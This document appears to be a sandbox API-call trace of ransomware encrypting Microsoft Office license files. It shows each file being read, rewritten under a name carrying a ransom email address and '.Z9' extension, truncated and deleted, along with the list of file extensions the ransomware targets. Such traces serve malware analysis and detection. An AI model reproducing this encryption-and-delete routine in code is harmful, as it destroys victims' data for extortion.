	[0178.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0178.158] lstrlenW (lpString=".dbf") returned 4
	[0178.158] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0178.158] lstrlenW (lpString=".1cd") returned 4
	[0178.158] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0178.158] lstrlenW (lpString=".jpg") returned 4
	[0178.158] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.158] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.158] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 36
	[0178.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0178.160] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=10679) returned 1
	[0178.160] CloseHandle (hObject=0x4bc) returned 1
	[0178.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220
	[0178.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0178.161] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.161] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0178.162] GetLastError () returned 0x0
	[0178.162] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x29b7, lpOverlapped=0x0) returned 1
	[0178.165] WriteFile (in: hFile=0x37c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x29c0, lpOverlapped=0x0) returned 1
	[0178.166] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.166] WriteFile (in: hFile=0x37c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x11c, lpOverlapped=0x0) returned 1
	[0178.167] SetEndOfFile (hFile=0x37c) returned 1
	[0178.167] CloseHandle (hObject=0x37c) returned 1
	[0178.167] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.167] SetEndOfFile (hFile=0x4bc) returned 1
	[0178.174] CloseHandle (hObject=0x4bc) returned 1
	[0178.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.175] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 1
	[0178.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0178.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0178.176] lstrlenW (lpString=".doc") returned 4
	[0178.176] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.176] lstrlenW (lpString=".docx") returned 5
	[0178.176] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.176] lstrlenW (lpString=".pdf") returned 4
	[0178.176] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.176] lstrlenW (lpString=".xls") returned 4
	[0178.176] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.177] lstrlenW (lpString=".xlsx") returned 5
	[0178.177] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.177] lstrlenW (lpString=".ppt") returned 4
	[0178.177] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0178.177] lstrlenW (lpString=".zip") returned 4
	[0178.177] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.177] lstrlenW (lpString=".rar") returned 4
	[0178.177] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.177] lstrlenW (lpString=".bz2") returned 4
	[0178.177] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.177] lstrlenW (lpString=".7z") returned 3
	[0178.177] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0178.177] lstrlenW (lpString=".dbf") returned 4
	[0178.177] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0178.177] lstrlenW (lpString=".1cd") returned 4
	[0178.177] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0178.177] lstrlenW (lpString=".jpg") returned 4
	[0178.177] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0178.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0178.178] lstrlenW (lpString=".doc") returned 4
	[0178.178] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.178] lstrlenW (lpString=".docx") returned 5
	[0178.178] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.178] lstrlenW (lpString=".pdf") returned 4
	[0178.178] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.178] lstrlenW (lpString=".xls") returned 4
	[0178.178] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.178] lstrlenW (lpString=".xlsx") returned 5
	[0178.178] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.178] lstrlenW (lpString=".ppt") returned 4
	[0178.178] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0178.178] lstrlenW (lpString=".zip") returned 4
	[0178.178] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.178] lstrlenW (lpString=".rar") returned 4
	[0178.178] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.178] lstrlenW (lpString=".bz2") returned 4
	[0178.178] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.179] lstrlenW (lpString=".7z") returned 3
	[0178.179] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0178.179] lstrlenW (lpString=".dbf") returned 4
	[0178.179] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0178.179] lstrlenW (lpString=".1cd") returned 4
	[0178.179] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0178.179] lstrlenW (lpString=".jpg") returned 4
	[0178.179] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.179] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.179] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 37
	[0178.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.619] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=21977) returned 1
	[0178.619] CloseHandle (hObject=0x444) returned 1
	[0178.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0178.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.619] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.619] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.623] GetLastError () returned 0x0
	[0178.623] ReadFile (in: hFile=0x444, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x55d9, lpOverlapped=0x0) returned 1
	[0178.626] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x55e0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x55e0, lpOverlapped=0x0) returned 1
	[0178.627] ReadFile (in: hFile=0x444, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.627] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x11e, lpOverlapped=0x0) returned 1
	[0178.627] SetEndOfFile (hFile=0x558) returned 1
	[0178.628] CloseHandle (hObject=0x558) returned 1
	[0178.628] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.628] SetEndOfFile (hFile=0x444) returned 1
	[0178.632] CloseHandle (hObject=0x444) returned 1
	[0178.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 1
	[0178.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0178.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0178.633] lstrlenW (lpString=".doc") returned 4
	[0178.634] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.634] lstrlenW (lpString=".docx") returned 5
	[0178.634] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.634] lstrlenW (lpString=".pdf") returned 4
	[0178.634] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.634] lstrlenW (lpString=".xls") returned 4
	[0178.634] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.634] lstrlenW (lpString=".xlsx") returned 5
	[0178.634] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.634] lstrlenW (lpString=".ppt") returned 4
	[0178.634] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0178.634] lstrlenW (lpString=".zip") returned 4
	[0178.634] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.634] lstrlenW (lpString=".rar") returned 4
	[0178.634] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.634] lstrlenW (lpString=".bz2") returned 4
	[0178.634] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.634] lstrlenW (lpString=".7z") returned 3
	[0178.634] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0178.634] lstrlenW (lpString=".dbf") returned 4
	[0178.634] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0178.634] lstrlenW (lpString=".1cd") returned 4
	[0178.634] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0178.634] lstrlenW (lpString=".jpg") returned 4
	[0178.634] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0178.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0178.635] lstrlenW (lpString=".doc") returned 4
	[0178.635] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.635] lstrlenW (lpString=".docx") returned 5
	[0178.635] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.635] lstrlenW (lpString=".pdf") returned 4
	[0178.635] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.635] lstrlenW (lpString=".xls") returned 4
	[0178.635] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.635] lstrlenW (lpString=".xlsx") returned 5
	[0178.635] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.635] lstrlenW (lpString=".ppt") returned 4
	[0178.635] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0178.635] lstrlenW (lpString=".zip") returned 4
	[0178.635] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.635] lstrlenW (lpString=".rar") returned 4
	[0178.635] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.635] lstrlenW (lpString=".bz2") returned 4
	[0178.635] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.635] lstrlenW (lpString=".7z") returned 3
	[0178.635] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0178.635] lstrlenW (lpString=".dbf") returned 4
	[0178.635] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0178.635] lstrlenW (lpString=".1cd") returned 4
	[0178.635] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0178.636] lstrlenW (lpString=".jpg") returned 4
	[0178.636] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.636] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.636] lstrlenW (lpString="HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 36
	[0178.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.637] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=19962) returned 1
	[0178.637] CloseHandle (hObject=0x444) returned 1
	[0178.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0178.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.638] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.638] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.639] GetLastError () returned 0x0
	[0178.639] ReadFile (in: hFile=0x444, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x4dfa, lpOverlapped=0x0) returned 1
	[0178.641] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0178.643] ReadFile (in: hFile=0x444, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.643] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x11c, lpOverlapped=0x0) returned 1
	[0178.643] SetEndOfFile (hFile=0x558) returned 1
	[0178.643] CloseHandle (hObject=0x558) returned 1
	[0178.644] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.644] SetEndOfFile (hFile=0x444) returned 1
	[0178.647] CloseHandle (hObject=0x444) returned 1
	[0178.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0178.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0178.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0178.649] lstrlenW (lpString=".doc") returned 4
	[0178.649] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.649] lstrlenW (lpString=".docx") returned 5
	[0178.649] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.649] lstrlenW (lpString=".pdf") returned 4
	[0178.649] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.649] lstrlenW (lpString=".xls") returned 4
	[0178.649] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.649] lstrlenW (lpString=".xlsx") returned 5
	[0178.649] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.649] lstrlenW (lpString=".ppt") returned 4
	[0178.649] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0178.649] lstrlenW (lpString=".zip") returned 4
	[0178.649] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.649] lstrlenW (lpString=".rar") returned 4
	[0178.649] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.649] lstrlenW (lpString=".bz2") returned 4
	[0178.649] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.649] lstrlenW (lpString=".7z") returned 3
	[0178.649] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0178.649] lstrlenW (lpString=".dbf") returned 4
	[0178.649] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0178.649] lstrlenW (lpString=".1cd") returned 4
	[0178.649] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0178.650] lstrlenW (lpString=".jpg") returned 4
